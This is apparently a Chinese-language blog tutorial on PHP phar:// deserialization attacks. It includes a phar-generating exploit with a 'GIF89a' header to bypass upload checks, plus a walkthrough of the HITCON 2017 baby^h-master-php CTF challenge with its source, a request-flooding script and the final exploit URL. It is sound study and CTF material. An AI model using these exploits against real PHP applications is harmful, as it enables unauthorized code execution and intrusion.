phar协议

phar:// 主要以前见过的还是本地文件包含。

?file=phar://../avatar.gif/shell.php

包含avatar.gif(本来是个zip或者phar文件改了后缀上传)中的shell.php文件。但这篇博客主要是讲解利用phar协议造成反序列化漏洞。

漏洞原理

​ phar文件本质上是一种压缩文件,在使用phar协议文件包含时,也是可以直接读取zip文件的。使用phar://协议读取文件时,文件会被解析成phar对象,phar对象内的以序列化形式存储的用户自定义元数据(metadata)信息会被反序列化。这就引出了我们攻击手法最核心的流程。

构造phar(元数据中含有恶意序列化内容)文件-->上传-->触发反序列化

​ 最后一步是寻找触发phar文件元数据反序列化。其实php中有一大部分的文件系统函数在通过phar://伪协议解析phar文件时都会将meta-data进行反序列化。

漏洞测试

假如我们现在有这么一份代码

<?php 
    class User {
        public $name;
        public function __destruct() {
            echo $this->name;
        }
    }

    $filename = 'phar://phar.phar/test.txt';
    file_get_contents($filename); 
?>

我们有一个file_get_contents函数可以触发phar://协议解析phar文件时,将其中的元数据反序列化。

生成phar文件

​ 首先得生成一个含有序列化metadata的phar文件。php提供一个类允许我们处理phar文件相关操作。注意要将php.ini中的phar.readonly选项设置为Off。

<?php
    class User {
        Public $name;
    }

    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar,生成后可以随意修改
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new User();   
    $o->name = 'JrXnm';
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

将phar文件上传到服务器

​ phar文件是很容易绕过上传限制的,首先它的后缀是不限制的,改成什么phar://协议都可以解析。

​ 而且,我们来看一下上小结生成的phar文件

​ 我们不但看到了元数据,我们还在开头看到了<?php xxx; __HALT_COMPILER();?> 这样子的代码,这就对应生成phar文件代码中的$phar->setStub("<?php __HALT_COMPILER(); ?>"); 可以理解为这时phar文件的一个标志,否则phar扩展无法识别这个文件为phar文件。

​ 但实验证明,前面这个标志的格式为xxx<?php xxx; __HALT_COMPILER();?> 前面内容不限,这样我们就可以在前面添加注入'GIF98a'这样的文件头绕过上传限制。

反序列化执行

​ 以上步骤都完成了的话,直接执行我们测试的那份代码,phar://协议在file_get_contents函数中解析phar文件,将元数据反序列化执行魔法函数。

一道CTF题继续理解漏洞利用

​ hitcon2017baby^h-master-php-2017就用这个知识点出题了,只是在那个时候这个漏洞还相当于是个0day,hitcon这道题当时比赛的时候据说也是0解(当然这道题也不止利用了这一个知识点)。

​ 本题现在可以通过i春秋平台复现,地址:http://117.50.3.97:8005

<?php
$FLAG = create_function("", 'die(`/read_flag`);');
$SECRET = `/read_secret`;
$SANDBOX = "/var/www/data/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($SANDBOX);
@chdir($SANDBOX);

if (!isset($_COOKIE["session-data"])) {
    $data = serialize(new User($SANDBOX));
    $hmac = hash_hmac("sha1", $data, $SECRET);
    setcookie("session-data", sprintf("%s-----%s", $data, $hmac));
}

class User {
    public $avatar;
    function __construct($path) {
        $this->avatar = $path;
    }
}

class Admin extends User {
    function __destruct() {
        $random = bin2hex(openssl_random_pseudo_bytes(32));
        eval("function my_function_$random() {"
            . "  global \$FLAG; \$FLAG();"
            . "}");
        $_GET["lucky"]();
    }
}
function check_session() {
    global $SECRET;
    $data = $_COOKIE["session-data"];
    list($data, $hmac) = explode("-----", $data, 2);
    if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac)) {
        die("Bye");
    }

    if (!hash_equals(hash_hmac("sha1", $data, $SECRET), $hmac)) {
        die("Bye Bye");
    }

    $data = unserialize($data);
    if (!isset($data->avatar)) {
        die("Bye Bye Bye");
    }

    return $data->avatar;
}

function upload($path) {
    $data = file_get_contents($_GET["url"] . "/avatar.gif");
    if (substr($data, 0, 6) !== "GIF89a") {
        die("Fuck off");
    }

    file_put_contents($path . "/avatar.gif", $data);
    die("Upload OK");
}

function show($path) {
    if (!file_exists($path . "/avatar.gif")) {
        $path = "/var/www/html";
    }

    header("Content-Type: image/gif");
    die(file_get_contents($path . "/avatar.gif"));
}

$mode = $_GET["m"];
if ($mode == "upload") {
    upload(check_session());
} else if ($mode == "show") {
    show(check_session());
} else {
    highlight_file(__FILE__);
}

分析代码

​ 代码一开始创建了一个读flag的匿名函数,并且初始化了沙箱。

$FLAG = create_function("", 'die(`/read_flag`);');
$SECRET = `/read_secret`;
$SANDBOX = "/var/www/data/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($SANDBOX);
@chdir($SANDBOX);

​ 代码中有两个类User、Admin,Admin继承自User。而且在Admin类中的魔法函数中存在eval()函数和$_GET["lucky"]();eval函数里面定义了一个函数,运行这个函数也能拿到flag,这样就可以利用lucky输入函数名调用函数。虽然在check_session函数中也存在反序列化操作,但是有很强的限制,实际上它就是一个干扰,我们是无法通过check_session中的反序列化操作反序列化我们自己的序列化数据的。

​ 经观察,这题还有一个upload函数,我们可以通过这个upload函数上传phar文件。其中只有一个限制,就是文件开头必须为'GIP89a',我们可以按照上面的方法修改phar文件前6个字节为'GIF89a'。再次访问时,利用file_get_contents函数反序列化我们注入phar文件元数据的序列化Admin类。然后执行Admin魔法函数里面的代码。

function upload($path) {
    $data = file_get_contents($_GET["url"] . "/avatar.gif");
    if (substr($data, 0, 6) !== "GIF89a") {
        die("Fuck off");
    }

    file_put_contents($path . "/avatar.gif", $data);
    die("Upload OK");
}

​ 做到这与我们本篇博客相关的知识已经用完,但其实这道题并没有做完。在Admin类中eval中的函数名是随机的,我们无法预测$random的值的话,就无法使用$_GET["lucky"](); 调用该函数。

        $random = bin2hex(openssl_random_pseudo_bytes(32));
        eval("function my_function_$random() {"
            . "  global \$FLAG; \$FLAG();"
            . "}");
        $_GET["lucky"]();

​ 其实,php中的匿名函数还是有名字的, 格式为\0lambda_%d %d格式化为本进程第n个匿名函数。 我们如果能找到代码第一行创建的读flag匿名函数的名字,那我们可以在$_GET["lucky"]();中直接调用它,拿到flag。

​ 这就涉及到另一个知识点:

Apache-prefork模型(默认模型)在接受请求后会如何处理,首先Apache会默认生成5个child server去等待用户连接, 默认最高可生成256个child server, 这时候如果用户大量请求, Apache就会在处理完MaxRequestsPerChild个tcp连接后kill掉这个进程,开启一个新进程处理请求。

当开启新进程时,那么我们在第一行创建的匿名函数应该是第一个匿名函数。那么我们就可以通过lucky=%00lambda_1访问到该函数。

开始利用

  1. 生成符合要求的phar文件放到自己的vps中。
  2. 请求?m=upload&url=http://xxx.xxx.xxx.xxx (将phar文件上传到赛题服务器)
  3. 大量请求赛题服务器,使得获取flag的函数为%00lambda_1

生成phar文件

<?php
    class Admin {
        Public $avatar;
    }

    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar,生成后可以随意修改
    $phar->startBuffering();
    $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new Admin();
    $o->avatar = 'xxx';    //随便填写   
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

本地生成后,修改名称为avatar.gif上传到vps,然后访问?m=upload&url=http://xxx.xxx.xxx.xxx 可以看到Upload OK

大量请求apache

这一点Orange大佬已经给出了。

# coding: UTF-8
# Author: orange@chroot.org
# 

import requests
import socket
import time
from multiprocessing.dummy import Pool as ThreadPool
try:
    requests.packages.urllib3.disable_warnings()
except:
    pass

def run(i):
    while 1:
        HOST = '117.50.3.97'
        PORT = 8005
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((HOST, PORT))
        s.sendall('GET / HTTP/1.1\nHost: 54.238.212.199\nConnection: Keep-Alive\n\n')
        # s.close()
        print 'ok'
        time.sleep(0.5)

i = 8
pool = ThreadPool( i )
result = pool.map_async( run, range(i) ).get(0xffff)
~                                                    

获取flag

访问http://117.50.3.97:8005/?m=upload&url=phar:///var/www/data/05840bcb0eaf84ae56ded3b9ea49cabc&lucky=%00lambda_1 就可以拿到了flag了。注意后面的地址要根据自己的ip生成。